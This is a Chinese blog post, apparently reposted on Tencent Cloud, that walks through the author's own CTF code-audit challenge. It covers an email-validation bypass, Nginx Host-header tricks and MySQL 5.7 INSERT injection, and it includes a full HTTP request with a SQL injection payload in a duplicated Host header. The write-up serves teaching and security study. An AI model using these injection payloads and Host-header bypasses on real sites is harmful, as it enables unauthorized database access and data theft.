前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >攻击LNMP架构Web应用的几个小Tricks

攻击LNMP架构Web应用的几个小Tricks

作者头像
phith0n
发布2020-10-15 11:37:27
6720
发布2020-10-15 11:37:27
举报

农历新年初一,我在代码审计知识星球分享了一个红包,但领取红包的条件是破解我出的一道代码审计相关题目,题干如下:

2018.mhz.pw:62231

0x01 拉取源码

题干比较简单,我们用浏览器打开,发现提示ERR_INVALID_HTTP_RESPONSE,说明这个端口并非HTTP服务。用nmap进行端口指纹识别:

nmap -sV -p 62231 2018.mhz.pw

可见,这是一个rsync服务,我们使用rsync命令查看目录,发现只有一个目录,名为pwnhub_6670.git,将其拉取下来:

查看pwnhub_6670.git目录,发现这是一个git裸仓库(git bare repository)。

Git裸仓库怎么还原呢?其实非常简单,我们平时用的Github、Gitlab上存的所有仓库其实都是裸仓库,比如我们拉取vulhub的源码,执行git clone https://github.com/vulhub/vulhub.git,其中vulhub.git其实就是Github服务器上的一个裸仓库。可见,裸仓库一般以”项目名称.git“为名。

Git支持通过本地文件、SSH、HTTPS或GIT协议拉取信息。我们既然已经用rsync将裸仓库下载到本地了,所以只需要git clone pwnhub_6670.git即可将裸仓库拉取下来,成为一个标准的仓库:

仓库pwnhub_6670文件夹下的内容就是我们需要审计的源代码。

0x02 SQL注入漏洞挖掘

作为一个出题人,我耍了点小阳谋。我用了一个叫speed的小众PHP框架,但改了核心文件名为core.php。就是为了防止大家去找这个框架本身的漏洞导致走偏方向,所有有漏洞的代码都出在我写的代码中。

拿到源码仓库,第一步先看看git log和branch、tags等信息,也许会暴漏一些目标的敏感信息。这里没有,于是我们就应该把目标放向代码本身。

目标网站http://2018.mhz.pw只有简单的注册、登录功能,有关输入的代码如下:

<?php
escape($_REQUEST);
escape($_POST);
escape($_GET);

function escape(&$arg) {
    if(is_array($arg)) {
        foreach ($arg as &$value) {
            escape($value);
        }
    } else {
        $arg = str_replace(["'", '\\', '(', ')'], ["‘", '\\\\', '(', ')'], $arg);
    }
}

function arg($name, $default = null, $trim = false) {
    if (isset($_REQUEST[$name])) {
        $arg = $_REQUEST[$name];
    } elseif (isset($_SERVER[$name])) {
        $arg = $_SERVER[$name];
    } else {
        $arg = $default;
    }
    if($trim) {
        $arg = trim($arg);
    }
    return $arg;
}

escape是将GPR中的单引号、圆括号转换成中文符号,反斜线进行转义;arg是获取用户输入的_REQUEST或 _SERVER。显然,这里

全局没其他值得注意的地方了,所以开始看controller的代码。

<?php
function actionRegister(){
    if ($_POST) {
        $username = arg('username');
        $password = arg('password');

        if (empty($username) || empty($password)) {
            $this->error('Username or password is empty.');
        }

        $email = arg('email');
        if (empty($email)) {
            $email = $username . '@' . arg('HTTP_HOST');
        }

        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $this->error('Email error.');
        }

        $user = new User();
        $data = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` = '{$username}'");
        if ($data) {
            $this->error('This username is exists.');
        }

        $ret = $user->create([
            'username' => $username,
            'password' => md5($password),
            'email' => $email
        ]);
        if ($ret) {
            $_SESSION['user_id'] = $user->lastInsertId();
        } else {
            $this->error('Unknown error.');
        }
    }

}

以上是注册功能的代码,比较简单。用户名和密码是必填项,邮箱如果没有填写,则自动设置为”用户名@网站域名“。最后将三者传入create方法,create方法其实就是拼接了一个INSERT语句。

值得注意的是,网站域名是从arg('HTTP_HOST')中获取,也就是从_REQUEST或 _SERVER中获取。因为

但email变量经过了filter_var($email, FILTER_VALIDATE_EMAIL)的检测,我们首先要绕过之。

0x03 FILTER_VALIDATE_EMAIL绕过

这就是今天第一个trick。这个点早在当初PHPMailer的CVE-2016-10033就提到过。

RFC 3696规定,邮箱地址分为local part和domain part两部分。local part中包含特殊字符,需要如下处理:

  1. 将特殊字符用\转义,如Joe\'Blow@example.com
  2. 或将local part包裹在双引号中,如"Joe'Blow"@example.com
  3. local part长度不超过64个字符

虽然PHP没有完全按照RFC 3696进行检测,但支持上述第2种写法。所以,我们可以利用之绕过FILTER_VALIDATE_EMAIL的检测。

因为代码中邮箱是用户名、@、Host三者拼接而成,但用户名是经过了转义的,所以单引号只能放在Host中。我们可以传入用户名为",Host为aaa'"@example.com,最后拼接出来的邮箱为"@aaa'"@example.com

这个邮箱是合法的:

这个邮箱包含单引号,将闭合SQL语句中原本的单引号,造成SQL注入漏洞。

0x04 绕过Nginx Host限制

这是今天第二个trick。

我们尝试向目标注册页面发送刚才构造好的用户名和Host:

直接显示404,似乎并没有进入PHP的处理过程。

这就回到问题的本质了,Host头究竟是做什么的?

众所周知,如果我们在浏览器里输入http://2018.mhz.pw,浏览器将先请求DNS服务器,获取到目标服务器的IP地址,之后的TCP通信将和域名没有关系。那么,如果一个服务器上有多个网站,那么Nginx在接收到HTTP包后,将如何区分?

这就是Host的作用:用来区分用户访问的究竟是哪个网站(在Nginx中就是Server块)。

如果Nginx发现我们传入的Host找不到对应的Server块,将会发送给默认的Server块,也就是我们通过IP地址直接访问的那个Nginx默认页面:

默认网站并没有/main/register这个请求的处理方法,所以自然会返回404。

这里给出解决这个问题的两个方法,也许还有更多新方法我没有想到,欢迎补充。

法1

Nginx在处理Host的时候,会将Host用冒号分割成hostname和port,port部分被丢弃。所以,我们可以设置Host的值为2018.mhz.pw:xxx'"@example.com,这样就能访问到目标Server块:

如上图,成功触发SQL报错。

法2

当我们传入两个Host头的时候,Nginx将以第一个为准,而PHP-FPM将以第二个为准。

也就是说,如果我传入:

Host: 2018.mhz.pw
Host: xxx'"@example.com

Nginx将认为Host为2018.mhz.pw,并交给目标Server块处理;但PHP中使用$_SERVER['HTTP_HOST']取到的值却是xxx'"@example.com。这样也可以绕过:

这个方法我以前在某群里提到过,只有Nginx+PHP会出现这个问题,Apache的情况下将会是另一个样子,此处不展开讨论。

0x05 Mysql 5.7 INSERT注入方法

这是今天第三个trick。

既然已经触发了SQL报错,说明SQL注入近在眼前。通过阅读源码中包含的SQL结构,我们知道flag在flags表中,所以不废话,直接注入读取该表。

插入显示位

因为用户成功登录后,将会显示出该用户的邮箱地址,所以我们可以将数据插入到这个位置。发送如下数据包:

POST /main/register HTTP/1.1
Host: 2018.mhz.pw
Host: '),('t123',md5(12123),(select(flag)from(flags)))#"@a.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=--------356678531
Content-Length: 176

----------356678531
Content-Disposition: form-data; name="username"

"a
----------356678531
Content-Disposition: form-data; name="password"

aaa
----------356678531--

可见,我闭合了INSERT语句,并插入了一个新用户t123,并将flag读取到email字段。登录该用户,获取flag:

flag是支付宝红包口令。:)

报错注入

为了降低难度,我特地给出了Mysql的报错信息,没想到居然还增加了难度,这一点我没考虑到,还是 @burnegg 同学提出来的解决方法。

很多同学上来就测试报错注入,但这里有两个需要绕过的坑:

  1. 由于邮箱的限制,注入语句长度需要小于64位
  2. Mysql 5.7 默认开启严格模式,部分字符串连接语法将导致错误:ErrorInfo: Truncated incorrect INTEGER value

我们可以不使用字符串连接语法,而使用<>=等比较符号来触发漏洞:

更多INSERT注入相关内容,可以阅读MySQL Injection in Update, Insert and Delete

0x06 一个总结

题目出出来以后,有千余同学参加,最快拿到支付宝红包的是 @超威蓝猫 ,大概在初二凌晨1点。

除了安全研究者以外,有一些程序员同学也参与了游戏,但因为不熟悉CTF比赛和安全相关漏洞,所以有的人跑偏了,没有聚焦在漏洞和安全技术本身,而去猜测红包口令是否藏在图片或者其他什么地方。

希望这次游戏给你带来不仅是过年的欢乐,而且有技术的提升~

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 拉取源码
  • 0x02 SQL注入漏洞挖掘
  • 0x03 FILTER_VALIDATE_EMAIL绕过
  • 0x04 绕过Nginx Host限制
    • 法1
      • 法2
      • 0x05 Mysql 5.7 INSERT注入方法
        • 插入显示位
          • 报错注入
          • 0x06 一个总结
          相关产品与服务
          云数据库 SQL Server
          腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档